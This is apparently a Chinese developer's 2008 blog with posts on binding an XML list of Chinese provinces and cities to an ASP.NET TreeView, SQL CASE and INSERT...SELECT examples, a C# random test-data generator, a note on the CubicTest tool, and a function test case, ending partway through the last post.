本人QQ:381834158 欢迎加入计算机翻译,交流群:32474154。 本人邮箱:axxiao@sohu.com

发布新日志

  • 如何在树控件上显示XML文档

    2008-10-10 11:54:57

    代码如下:

    public partial class test : System.Web.UI.Page
    {
         XmlDocument xmlDoc;
        protected void Page_Load(object sender, EventArgs e)
        {
         
            if (!IsPostBack)
            {
                TVReadXml.ShowLines = true;
                LoadXmlTree();
            }
        }
        #region
        //将XML文档加载到树控件
        protected void LoadXmlTree()
        {
            xmlDoc = new XmlDocument();
            xmlDoc.Load(Server.MapPath("xml/area.xml "));//动态加载XML文档

            XmlNodeList xnl = xmlDoc.SelectSingleNode("Area").ChildNodes;//获取Area下的所有子结点
           //定义Area结点
            TreeNode tn = new TreeNode();
            tn.Text = "区域 ";
            tn.Value = "-1 ";
            tn.Expanded = false;
            TVReadXml.Nodes.Add(tn);//添加"区域"父结点
              //遍历区域下的所有省或直辖市
            foreach (XmlNode xn in xnl)
            {
                XmlElement xe = (XmlElement)xn;
                TreeNode tnC = new TreeNode();
                tnC.Text = xe.GetAttribute("cAreaName");//在树控件上显示省或直辖市的名称
                tnC.Value = xe.GetAttribute("cAreaName");
                tnC.Expanded = true;
                tn.ChildNodes.Add(tnC);//将省级结点添加到区域中
                this.TreeNodeBind(xn.ChildNodes, tnC);
            }
        }
        #endregion

        //将XML的结点绑定到树控件
        protected void TreeNodeBind(XmlNodeList xnl, TreeNode tn)
        {
              //遍历省级节点下的所有市,市辖区
            foreach (XmlNode xnNext in xnl)
            {
                XmlElement xe = (XmlElement)xnNext;
                TreeNode tnNext = new TreeNode();
                tnNext.Text = xe.GetAttribute("cAreaName");//在树控件上显示市或市辖区的名称
                tnNext.Value = xe.GetAttribute("cAreaName ");
                tnNext.Expanded = true;
                tn.ChildNodes.Add(tnNext);//将市级结点添加到省级结点下面
                this.TreeNodeBind(xnNext.ChildNodes, tnNext);
            }

        }
    }

    XML文档内容:

    <?xml version="1.0" encoding="UTF-8"?>
    <Area>
     <Province iAreaID ="1" cAreaName="北京市">
      <City iAreaID ="35" cAreaName="市辖区" />
     </Province>
     <Province iAreaID ="2" cAreaName="天津市">
      <City iAreaID ="36" cAreaName="市辖区" />
     </Province>
     <Province iAreaID ="3" cAreaName="上海市">
      <City iAreaID ="37" cAreaName="市辖区" />
     </Province>
     <Province iAreaID ="4" cAreaName="重庆市">
      <City iAreaID ="38" cAreaName="市辖区" />
     </Province>
     <Province iAreaID ="5" cAreaName="河北省">
      <City iAreaID ="39" cAreaName="石家庄市" />
      <City iAreaID ="40" cAreaName="唐山市" />
      <City iAreaID ="41" cAreaName="秦皇岛市" />
      <City iAreaID ="42" cAreaName="邯郸市" />
      <City iAreaID ="43" cAreaName="邢台市" />
      <City iAreaID ="44" cAreaName="保定市" />
      <City iAreaID ="45" cAreaName="张家口市" />
      <City iAreaID ="46" cAreaName="承德市" />
      <City iAreaID ="47" cAreaName="沧州市" />
      <City iAreaID ="48" cAreaName="廊坊市" />
      <City iAreaID ="49" cAreaName="衡水市" />
     </Province>
     <Province iAreaID ="6" cAreaName="山西省">
      <City iAreaID ="50" cAreaName="太原市" />
      <City iAreaID ="51" cAreaName="大同市" />
      <City iAreaID ="52" cAreaName="阳泉市" />
      <City iAreaID ="53" cAreaName="长治市" />
      <City iAreaID ="54" cAreaName="晋城市" />
      <City iAreaID ="55" cAreaName="朔州市" />
      <City iAreaID ="56" cAreaName="晋中市" />
      <City iAreaID ="57" cAreaName="运城市" />
      <City iAreaID ="58" cAreaName="忻州市" />
      <City iAreaID ="59" cAreaName="临汾市" />
      <City iAreaID ="60" cAreaName="吕梁市" />
     </Province>
     <Province iAreaID ="7" cAreaName="内蒙古">
      <City iAreaID ="61" cAreaName="呼和浩特市" />
      <City iAreaID ="62" cAreaName="包头市" />
      <City iAreaID ="63" cAreaName="乌海市" />
      <City iAreaID ="64" cAreaName="赤峰市" />
      <City iAreaID ="65" cAreaName="通辽市" />
      <City iAreaID ="66" cAreaName="鄂尔多斯市" />
      <City iAreaID ="67" cAreaName="呼伦贝尔市" />
      <City iAreaID ="68" cAreaName="巴彦淖尔市" />
      <City iAreaID ="69" cAreaName="乌兰察布市" />
      <City iAreaID ="70" cAreaName="兴安盟" />
      <City iAreaID ="71" cAreaName="锡林郭勒盟" />
      <City iAreaID ="72" cAreaName="阿拉善盟" />
     </Province>
     <Province iAreaID ="8" cAreaName="辽宁省">
      <City iAreaID ="73" cAreaName="沈阳市" />
      <City iAreaID ="74" cAreaName="大连市" />
      <City iAreaID ="75" cAreaName="鞍山市" />
      <City iAreaID ="76" cAreaName="抚顺市" />
      <City iAreaID ="77" cAreaName="本溪市" />
      <City iAreaID ="78" cAreaName="丹东市" />
      <City iAreaID ="79" cAreaName="锦州市" />
      <City iAreaID ="80" cAreaName="营口市" />
      <City iAreaID ="81" cAreaName="阜新市" />
      <City iAreaID ="82" cAreaName="辽阳市" />
      <City iAreaID ="83" cAreaName="盘锦市" />
      <City iAreaID ="84" cAreaName="铁岭市" />
      <City iAreaID ="85" cAreaName="朝阳市" />
      <City iAreaID ="86" cAreaName="葫芦岛市" />
     </Province>
     <Province iAreaID ="9" cAreaName="吉林省">
      <City iAreaID ="87" cAreaName="长春市" />
      <City iAreaID ="88" cAreaName="吉林市" />
      <City iAreaID ="89" cAreaName="四平市" />
      <City iAreaID ="90" cAreaName="辽源市" />
      <City iAreaID ="91" cAreaName="通化市" />
      <City iAreaID ="92" cAreaName="白山市" />
      <City iAreaID ="93" cAreaName="松原市" />
      <City iAreaID ="94" cAreaName="白城市" />
      <City iAreaID ="95" cAreaName="延边朝鲜族自治州" />
     </Province>
     <Province iAreaID ="10" cAreaName="黑龙江">
      <City iAreaID ="96" cAreaName="哈尔滨市" />
      <City iAreaID ="97" cAreaName="齐齐哈尔市" />
      <City iAreaID ="98" cAreaName="鸡西市" />
      <City iAreaID ="99" cAreaName="鹤岗市" />
      <City iAreaID ="100" cAreaName="双鸭山市" />
      <City iAreaID ="101" cAreaName="大庆市" />
      <City iAreaID ="102" cAreaName="伊春市" />
      <City iAreaID ="103" cAreaName="佳木斯市" />
      <City iAreaID ="104" cAreaName="七台河市" />
      <City iAreaID ="105" cAreaName="牡丹江市" />
      <City iAreaID ="106" cAreaName="黑河市" />
      <City iAreaID ="107" cAreaName="绥化市" />
      <City iAreaID ="108" cAreaName="大兴安岭地区" />
     </Province>
     <Province iAreaID ="11" cAreaName="江苏省">
      <City iAreaID ="109" cAreaName="南京市" />
      <City iAreaID ="110" cAreaName="无锡市" />
      <City iAreaID ="111" cAreaName="徐州市" />
      <City iAreaID ="112" cAreaName="常州市" />
      <City iAreaID ="113" cAreaName="苏州市" />
      <City iAreaID ="114" cAreaName="南通市" />
      <City iAreaID ="115" cAreaName="连云港市" />
      <City iAreaID ="116" cAreaName="淮安市" />
      <City iAreaID ="117" cAreaName="盐城市" />
      <City iAreaID ="118" cAreaName="扬州市" />
      <City iAreaID ="119" cAreaName="镇江市" />
      <City iAreaID ="120" cAreaName="泰州市" />
      <City iAreaID ="121" cAreaName="宿迁市" />
     </Province>
     <Province iAreaID ="12" cAreaName="浙江省">
      <City iAreaID ="122" cAreaName="杭州市" />
      <City iAreaID ="123" cAreaName="宁波市" />
      <City iAreaID ="124" cAreaName="温州市" />
      <City iAreaID ="125" cAreaName="嘉兴市" />
      <City iAreaID ="126" cAreaName="湖州市" />
      <City iAreaID ="127" cAreaName="湖州市" />
      <City iAreaID ="128" cAreaName="金华市" />
      <City iAreaID ="129" cAreaName="衢州市" />
      <City iAreaID ="130" cAreaName="舟山市" />
      <City iAreaID ="131" cAreaName="台州市" />
      <City iAreaID ="132" cAreaName="丽水市" />
     </Province>
     <Province iAreaID ="13" cAreaName="安徽省">
      <City iAreaID ="133" cAreaName="合肥市" />
      <City iAreaID ="134" cAreaName="芜湖市" />
      <City iAreaID ="135" cAreaName="蚌埠市" />
      <City iAreaID ="136" cAreaName="淮南市" />
      <City iAreaID ="137" cAreaName="马鞍山市" />
      <City iAreaID ="138" cAreaName="淮北市" />
      <City iAreaID ="139" cAreaName="铜陵市" />
      <City iAreaID ="140" cAreaName="安庆市" />
      <City iAreaID ="141" cAreaName="黄山市" />
      <City iAreaID ="142" cAreaName="阜阳市" />
      <City iAreaID ="143" cAreaName="宿州市" />
      <City iAreaID ="144" cAreaName="巢湖市" />
      <City iAreaID ="145" cAreaName="六安市" />
      <City iAreaID ="146" cAreaName="亳州市" />
      <City iAreaID ="147" cAreaName="池州市" />
      <City iAreaID ="148" cAreaName="宣城市" />
     </Province>
     <Province iAreaID ="14" cAreaName="福建省">
      <City iAreaID ="149" cAreaName="福州市" />
      <City iAreaID ="150" cAreaName="厦门市" />
      <City iAreaID ="151" cAreaName="莆田市" />
      <City iAreaID ="152" cAreaName="三明市" />
      <City iAreaID ="153" cAreaName="泉州市" />
      <City iAreaID ="154" cAreaName="漳州市" />
      <City iAreaID ="155" cAreaName="南平市" />
      <City iAreaID ="156" cAreaName="龙岩市" />
      <City iAreaID ="157" cAreaName="宁德市" />
     </Province>
     <Province iAreaID ="15" cAreaName="江西省">
      <City iAreaID ="158" cAreaName="南昌市" />
      <City iAreaID ="159" cAreaName="景德镇市" />
      <City iAreaID ="160" cAreaName="萍乡市" />
      <City iAreaID ="161" cAreaName="九江市" />
      <City iAreaID ="162" cAreaName="新余市" />
      <City iAreaID ="163" cAreaName="鹰潭市" />
      <City iAreaID ="164" cAreaName="赣州市" />
      <City iAreaID ="165" cAreaName="吉安市" />
      <City iAreaID ="166" cAreaName="宜春市" />
      <City iAreaID ="167" cAreaName="抚州市" />
      <City iAreaID ="168" cAreaName="上饶市" />
     </Province>
     <Province iAreaID ="16" cAreaName="山东省">
      <City iAreaID ="169" cAreaName="济南市" />
      <City iAreaID ="170" cAreaName="青岛市" />
      <City iAreaID ="171" cAreaName="淄博市" />
      <City iAreaID ="172" cAreaName="枣庄市" />
      <City iAreaID ="173" cAreaName="东营市" />
      <City iAreaID ="174" cAreaName="烟台市" />
      <City iAreaID ="175" cAreaName="潍坊市" />
      <City iAreaID ="176" cAreaName="济宁市" />
      <City iAreaID ="177" cAreaName="泰安市" />
      <City iAreaID ="178" cAreaName="威海市" />
      <City iAreaID ="179" cAreaName="日照市" />
      <City iAreaID ="180" cAreaName="莱芜市" />
      <City iAreaID ="181" cAreaName="临沂市" />
      <City iAreaID ="182" cAreaName="德州市" />
      <City iAreaID ="183" cAreaName="聊城市" />
      <City iAreaID ="184" cAreaName="滨州市" />
      <City iAreaID ="185" cAreaName="菏泽市" />
     </Province>
     <Province iAreaID ="17" cAreaName="河南省">
      <City iAreaID ="186" cAreaName="郑州市" />
      <City iAreaID ="187" cAreaName="开封市" />
      <City iAreaID ="188" cAreaName="洛阳市" />
      <City iAreaID ="189" cAreaName="平顶山市" />
      <City iAreaID ="190" cAreaName="安阳市" />
      <City iAreaID ="191" cAreaName="鹤壁市" />
      <City iAreaID ="192" cAreaName="新乡市" />
      <City iAreaID ="193" cAreaName="焦作市" />
      <City iAreaID ="194" cAreaName="濮阳市" />
      <City iAreaID ="195" cAreaName="许昌市" />
      <City iAreaID ="196" cAreaName="漯河市" />
      <City iAreaID ="197" cAreaName="三门峡市" />
      <City iAreaID ="198" cAreaName="南阳市" />
      <City iAreaID ="199" cAreaName="商丘市" />
      <City iAreaID ="200" cAreaName="信阳市" />
      <City iAreaID ="201" cAreaName="周口市" />
      <City iAreaID ="202" cAreaName="驻马店市" />
     </Province>
     <Province iAreaID ="18" cAreaName="湖北省">
      <City iAreaID ="203" cAreaName="武汉市" />
      <City iAreaID ="204" cAreaName="黄石市" />
      <City iAreaID ="205" cAreaName="十堰市" />
      <City iAreaID ="206" cAreaName="宜昌市" />
      <City iAreaID ="207" cAreaName="襄樊市" />
      <City iAreaID ="208" cAreaName="鄂州市" />
      <City iAreaID ="209" cAreaName="荆门市" />
      <City iAreaID ="210" cAreaName="孝感市" />
      <City iAreaID ="211" cAreaName="荆州市" />
      <City iAreaID ="212" cAreaName="黄冈市" />
      <City iAreaID ="213" cAreaName="咸宁市" />
      <City iAreaID ="214" cAreaName="随州市" />
      <City iAreaID ="215" cAreaName="恩施土家族苗族自治州" />
      <City iAreaID ="216" cAreaName="省直辖县级行政单位" />
     </Province>
     <Province iAreaID ="19" cAreaName="湖南省">
      <City iAreaID ="217" cAreaName="长沙市" />
      <City iAreaID ="218" cAreaName="株洲市" />
      <City iAreaID ="219" cAreaName="湘潭市" />
      <City iAreaID ="220" cAreaName="衡阳市" />
      <City iAreaID ="221" cAreaName="邵阳市" />
      <City iAreaID ="222" cAreaName="岳阳市" />
      <City iAreaID ="223" cAreaName="常德市" />
      <City iAreaID ="224" cAreaName="张家界市" />
      <City iAreaID ="225" cAreaName="益阳市" />
      <City iAreaID ="226" cAreaName="郴州市" />
      <City iAreaID ="227" cAreaName="永州市" />
      <City iAreaID ="228" cAreaName="怀化市" />
      <City iAreaID ="229" cAreaName="娄底市" />
      <City iAreaID ="230" cAreaName="湘西土家族苗族自治州" />
     </Province>
     <Province iAreaID ="20" cAreaName="广东省">
      <City iAreaID ="231" cAreaName="广州市" />
      <City iAreaID ="232" cAreaName="韶关市" />
      <City iAreaID ="233" cAreaName="深圳市" />
      <City iAreaID ="234" cAreaName="珠海市" />
      <City iAreaID ="235" cAreaName="汕头市" />
      <City iAreaID ="236" cAreaName="佛山市" />
      <City iAreaID ="237" cAreaName="江门市" />
      <City iAreaID ="238" cAreaName="湛江市" />
      <City iAreaID ="239" cAreaName="茂名市" />
      <City iAreaID ="240" cAreaName="惠州市" />
      <City iAreaID ="241" cAreaName="梅州市" />
      <City iAreaID ="242" cAreaName="汕尾市" />
      <City iAreaID ="243" cAreaName="河源市" />
      <City iAreaID ="244" cAreaName="阳江市" />
      <City iAreaID ="245" cAreaName="清远市" />
      <City iAreaID ="246" cAreaName="东莞市" />
      <City iAreaID ="247" cAreaName="中山市" />
      <City iAreaID ="248" cAreaName="潮州市" />
      <City iAreaID ="249" cAreaName="揭阳市" />
      <City iAreaID ="250" cAreaName="云浮市" />
     </Province>
     <Province iAreaID ="21" cAreaName="广西省">
      <City iAreaID ="251" cAreaName="南宁市" />
      <City iAreaID ="252" cAreaName="柳州市" />
      <City iAreaID ="253" cAreaName="桂林市" />
      <City iAreaID ="254" cAreaName="梧州市" />
      <City iAreaID ="255" cAreaName="北海市" />
      <City iAreaID ="256" cAreaName="防城港市" />
      <City iAreaID ="257" cAreaName="钦州市" />
      <City iAreaID ="258" cAreaName="贵港市" />
      <City iAreaID ="259" cAreaName="玉林市" />
      <City iAreaID ="260" cAreaName="百色市" />
      <City iAreaID ="261" cAreaName="贺州市" />
      <City iAreaID ="262" cAreaName="河池市" />
      <City iAreaID ="263" cAreaName="来宾市" />
      <City iAreaID ="264" cAreaName="崇左市" />
     </Province>
     <Province iAreaID ="22" cAreaName="海南省">
      <City iAreaID ="265" cAreaName="海口市" />
      <City iAreaID ="266" cAreaName="三亚市" />
      <City iAreaID ="267" cAreaName="省直辖县级行政单位" />
     </Province>
     <Province iAreaID ="23" cAreaName="四川省">
      <City iAreaID ="268" cAreaName="成都市" />
      <City iAreaID ="269" cAreaName="自贡市" />
      <City iAreaID ="270" cAreaName="攀枝花市" />
      <City iAreaID ="271" cAreaName="泸州市" />
      <City iAreaID ="272" cAreaName="德阳市" />
      <City iAreaID ="273" cAreaName="绵阳市" />
      <City iAreaID ="274" cAreaName="广元市" />
      <City iAreaID ="275" cAreaName="遂宁市" />
      <City iAreaID ="276" cAreaName="内江市" />
      <City iAreaID ="277" cAreaName="乐山市" />
      <City iAreaID ="278" cAreaName="南充市" />
      <City iAreaID ="279" cAreaName="眉山市" />
      <City iAreaID ="280" cAreaName="宜宾市" />
      <City iAreaID ="281" cAreaName="广安市" />
      <City iAreaID ="282" cAreaName="达州市" />
      <City iAreaID ="283" cAreaName="雅安市" />
      <City iAreaID ="284" cAreaName="巴中市" />
      <City iAreaID ="285" cAreaName="资阳市" />
      <City iAreaID ="286" cAreaName="阿坝藏族羌族自治州" />
      <City iAreaID ="287" cAreaName="甘孜藏族自治州" />
      <City iAreaID ="288" cAreaName="凉山彝族自治州" />
     </Province>
     <Province iAreaID ="24" cAreaName="贵州省">
      <City iAreaID ="289" cAreaName="贵阳市" />
      <City iAreaID ="290" cAreaName="六盘水市" />
      <City iAreaID ="291" cAreaName="遵义市" />
      <City iAreaID ="292" cAreaName="安顺市" />
      <City iAreaID ="293" cAreaName="铜仁地区" />
      <City iAreaID ="294" cAreaName="黔西南布依族苗族自治州" />
      <City iAreaID ="295" cAreaName="毕节地区" />
      <City iAreaID ="296" cAreaName="黔东南苗族侗族自治州" />
      <City iAreaID ="297" cAreaName="黔南布依族苗族自治州" />
     </Province>
     <Province iAreaID ="25" cAreaName="云南省">
      <City iAreaID ="298" cAreaName="昆明市" />
      <City iAreaID ="299" cAreaName="曲靖市" />
      <City iAreaID ="300" cAreaName="玉溪市" />
      <City iAreaID ="301" cAreaName="保山市" />
      <City iAreaID ="302" cAreaName="昭通市" />
      <City iAreaID ="303" cAreaName="丽江市" />
      <City iAreaID ="304" cAreaName="普洱市" />
      <City iAreaID ="305" cAreaName="临沧市" />
      <City iAreaID ="306" cAreaName="楚雄彝族自治州" />
      <City iAreaID ="307" cAreaName="红河哈尼族彝族自治州" />
      <City iAreaID ="308" cAreaName="文山壮族苗族自治州" />
      <City iAreaID ="309" cAreaName="西双版纳傣族自治州" />
      <City iAreaID ="310" cAreaName="大理白族自治州" />
      <City iAreaID ="311" cAreaName="德宏傣族景颇族自治州" />
      <City iAreaID ="312" cAreaName="怒江傈僳族自治州" />
      <City iAreaID ="313" cAreaName="迪庆藏族自治州" />
     </Province>
     <Province iAreaID ="26" cAreaName="西藏">
      <City iAreaID ="314" cAreaName="拉萨市" />
      <City iAreaID ="315" cAreaName="昌都地区" />
      <City iAreaID ="316" cAreaName="山南地区" />
      <City iAreaID ="317" cAreaName="日喀则地区" />
      <City iAreaID ="318" cAreaName="那曲地区" />
      <City iAreaID ="319" cAreaName="阿里地区" />
      <City iAreaID ="320" cAreaName="林芝地区" />
     </Province>
     <Province iAreaID ="27" cAreaName="陕西省">
      <City iAreaID ="321" cAreaName="西安市" />
      <City iAreaID ="322" cAreaName="铜川市" />
      <City iAreaID ="323" cAreaName="宝鸡市" />
      <City iAreaID ="324" cAreaName="咸阳市" />
      <City iAreaID ="325" cAreaName="渭南市" />
      <City iAreaID ="326" cAreaName="延安市" />
      <City iAreaID ="327" cAreaName="汉中市" />
      <City iAreaID ="328" cAreaName="榆林市" />
      <City iAreaID ="329" cAreaName="安康市" />
      <City iAreaID ="330" cAreaName="商洛市" />
     </Province>
     <Province iAreaID ="28" cAreaName="甘肃省">
      <City iAreaID ="331" cAreaName="兰州市" />
      <City iAreaID ="332" cAreaName="嘉峪关市" />
      <City iAreaID ="333" cAreaName="金昌市" />
      <City iAreaID ="334" cAreaName="白银市" />
      <City iAreaID ="335" cAreaName="天水市" />
      <City iAreaID ="336" cAreaName="武威市" />
      <City iAreaID ="337" cAreaName="张掖市" />
      <City iAreaID ="338" cAreaName="平凉市" />
      <City iAreaID ="339" cAreaName="酒泉市" />
      <City iAreaID ="340" cAreaName="庆阳市" />
      <City iAreaID ="341" cAreaName="定西市" />
      <City iAreaID ="342" cAreaName="陇南市" />
      <City iAreaID ="343" cAreaName="临夏回族自治州" />
      <City iAreaID ="344" cAreaName="甘南藏族自治州" />
     </Province>
     <Province iAreaID ="29" cAreaName="青海省">
      <City iAreaID ="345" cAreaName="西宁市" />
      <City iAreaID ="346" cAreaName="海东地区" />
      <City iAreaID ="347" cAreaName="海北藏族自治州" />
      <City iAreaID ="348" cAreaName="黄南藏族自治州" />
      <City iAreaID ="349" cAreaName="海南藏族自治州" />
      <City iAreaID ="350" cAreaName="果洛藏族自治州" />
      <City iAreaID ="351" cAreaName="玉树藏族自治州" />
      <City iAreaID ="352" cAreaName="海西蒙古族藏族自治州" />
     </Province>
     <Province iAreaID ="30" cAreaName="宁夏">
      <City iAreaID ="353" cAreaName="银川市" />
      <City iAreaID ="354" cAreaName="石嘴山市" />
      <City iAreaID ="355" cAreaName="吴忠市" />
      <City iAreaID ="356" cAreaName="固原市" />
      <City iAreaID ="357" cAreaName="中卫市" />
     </Province>
     <Province iAreaID ="31" cAreaName="新疆">
      <City iAreaID ="358" cAreaName="乌鲁木齐市" />
      <City iAreaID ="359" cAreaName="克拉玛依市" />
      <City iAreaID ="360" cAreaName="吐鲁番地区" />
      <City iAreaID ="361" cAreaName="哈密地区" />
      <City iAreaID ="362" cAreaName="昌吉回族自治州" />
      <City iAreaID ="363" cAreaName="博尔塔拉蒙古自治州" />
      <City iAreaID ="364" cAreaName="巴音郭楞蒙古自治州" />
      <City iAreaID ="365" cAreaName="阿克苏地区" />
      <City iAreaID ="366" cAreaName="克孜勒苏柯尔克孜自治州" />
      <City iAreaID ="367" cAreaName="喀什地区" />
      <City iAreaID ="368" cAreaName="和田地区" />
      <City iAreaID ="369" cAreaName="伊犁哈萨克自治州" />
      <City iAreaID ="370" cAreaName="塔城地区" />
      <City iAreaID ="371" cAreaName="阿勒泰地区" />
      <City iAreaID ="372" cAreaName="自治区直辖县级行政单位" />
     </Province>
     <Province iAreaID ="32" cAreaName="台湾省">
      <City iAreaID ="373" cAreaName="省辖区" />
     </Province>
     <Province iAreaID ="33" cAreaName="香港">
      <City iAreaID ="375" cAreaName="特别行政区" />
     </Province>
     <Province iAreaID ="34" cAreaName="澳门">
      <City iAreaID ="376" cAreaName="特别行政区" />
     </Province>
     <Province iAreaID ="377" cAreaName="保密">
     </Province>
    </Area>

  • 开源测试工具CubicTest(原创)

    2008-10-06 11:32:45

    CubicTest想成为网站功能测试集成开发环境的领头羊。而1.86的发布向梦想迈进了一大 步。
    事实上有许多不同的网站功能测试框架。但CubicTest独具一格。 CubicTest的独道之于 在于
    对于各种不同的项目相关人,其web交互是完全透明的。使用CubicTest不要求你一定是个 程序员,因
    为它只关注页面”看到“的东西,而不是测试HTML源码。它严格遵循DRY原则和测试优先 。DRY
    或者不自我重复的思想,使得共同体,参数化以及子测试抽象化等变得简单。CubicTest采 用
    测试优先的方法,还有图形化建模,和html导出等。
    以优秀框架Selenium和Watir为驱动,CubicTest使用图形的方式使得框架易于理解和使用 。
    1.8.6之前的版本并没有完成发挥Selenium的威力。现在却不一样了,而且在不久的将来 ,
    这也会使Watir发生改变。这就是新增的功能”可定制测试步骤“。
    CubicTest1.86版本的新功能:
    *支持框架-你可以在图形化测试编辑器为框架建模
    *国际化支持-一次测试可能会有不同的语言支持,这样就可以轻易地完成有不语言网站的 测试。
    *有调试功能的可定制测试步骤-现在CubicTest局限并不在于编辑调色板中的元素而是底 层框架如Selenium和Watir的限制。
    *对错误的HTML测试页面和图片拍照-CubicTest会存储所有测试失败中的HTML源码并生成 快照。

    相关链接:http://www.openqa.org/

  • case when then end的使用

    2008-09-22 17:00:45

    使用该查询,得出iFavoriteID,iFavUserType ,cUser,iArticleID,dFavoriteTime五个字段的值:

    SELECT iFavoriteID,
    CASE WHEN iFavUserType = 0 THEN '新闻管理员'
    WHEN iFavUserType = 1 THEN '商家'
    WHEN iFavUserType = 2 THEN '会员'
    WHEN iFavUserType = 3 THEN '未注册'
    WHEN iFavUserType = 4 then '匿名'
    END
    AS iFavUserType, cUser, iArticleID,
    CONVERT(nvarchar(100), dFavoriteTime, 111) AS dFavoriteTime FROM dig_favorite


  • 用sql将一个表的字段复制到另一个表中

    2008-09-18 16:41:17

    SQL语法如下:

    INSERT INTO[目标表名](field1, field2) SELECT field1, field2 FROM[原表名] WHERE 条件

    示例:


    INSERT INTO dig_favorite(cUser,iArticleID)
    SELECT cUser, iArticleID FROM dig_article
    where cUser='tongxing'

  • 随机生成字符,数字和空格组成的数据

    2008-09-07 13:29:22

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.IO;
    namespace ConsoleApplication2
    {
        class Program
        {
            static void Main(string[] args)
            {
                 string[] rBase = new String[30] {"0", "1", "2", "3", "4", "5", "6", "7", "`",
                      "8", "9", "a", "b", "c", "d", "e", "f","!","@","#","$","%","^","&","(",")","-","=","?","'"};

                for (int i = 0; i < 10000; i++)
                {
                    Random rm1 = new Random();
                    int randomNum = rm1.Next(100000);//生成100000以内的随机数
                            
                    for (int j = 0; j < 3000; j++)//停留片刻,避免生成重复数据
                    {
                        Console.WriteLine("ok");
                    }
                  
                    Random rm2 = new Random();
                    int ramStr = rm2.Next(0, 30);

                    for (int j = 0; j < 3000; j++)//停留片刻,避免生成重复数据
                    {
                        Console.WriteLine("ok");
                    }
                   
                    Random rm3 = new Random();
                    int strSchange = rm3.Next(1, 12);

                  
                        switch (strSchange)
                        {
                            case 1:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + randomNum + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 2:
                                {
                                    string FileStr = "测试同行掘客内容test" + i + "%" + randomNum + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 3:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 4:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 5:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 6:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 7:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + "同行掘客数据" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 8:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "%" + "同行掘客  数据" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 9:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "同行掘客  数据" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 10:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "同行掘客  数据" + rBase[ramStr] + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 11:
                                {
                                    string FileStr = "测试同行掘客内容 test" + rBase[ramStr] + "同行掘客数据end" + "\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            case 12:
                                {
                                    string FileStr = "测试同行掘客内容"+"\r\n";
                                    string FilePath = "g:\\title1.txt";
                                    StreamWriter file = new StreamWriter(FilePath, true, System.Text.Encoding.GetEncoding("GB2312"));
                                    file.Write(FileStr);
                                    file.Close();
                                    break;
                                }
                            default:
                                break;
                        }
                    }
            }
        }
      
    }

  • 测试函数的测试用例

    2008-09-05 12:10:13

       一天,主管要俺测试函数,倒是被吓了一跳。鄙人孤陋寡闻,没见过这方面的测试和用例。于是发明了一套,拿出来给各位长老点评。以下是设计的用例:


     

            测试用例002
    函数原型:static string InterceptString(string stringToSub, int length)                                        函数功能:截取字符串
    输入数据 输出数据
    American,length为3  Ame…
    为空,length为3 空行
    123456,length为3 123…
    本人在北京一所民办高校,length为6 本人在…
    ccccccc,length为3 ccc
    <注释>,length为3 <注...
    <注释>,length为3 <注...
    测试表明,该函数实现了转换功能。可以正常使用。在特殊情况下会失效,如输入日文字符(函数使用的是匹配中文字符正则表达式)

     

     

     

     

     

     由于测试的是网站(asp.net),于是创建了一个网站工程。以下是驱动部分的代码(其实俺并不知驱动是啥):

    protected void Page_Load(object sender, EventArgs e)
        {
            string str1 = test.InterceptString("American",3);
            Response.Write(str1);
            Response.Write("<br/>");

            string str2 = test.InterceptString("", 3);
            Response.Write(str2);
            Response.Write("<br/>");

            string str3 = test.InterceptString("12345", 3);
            Response.Write(str3);
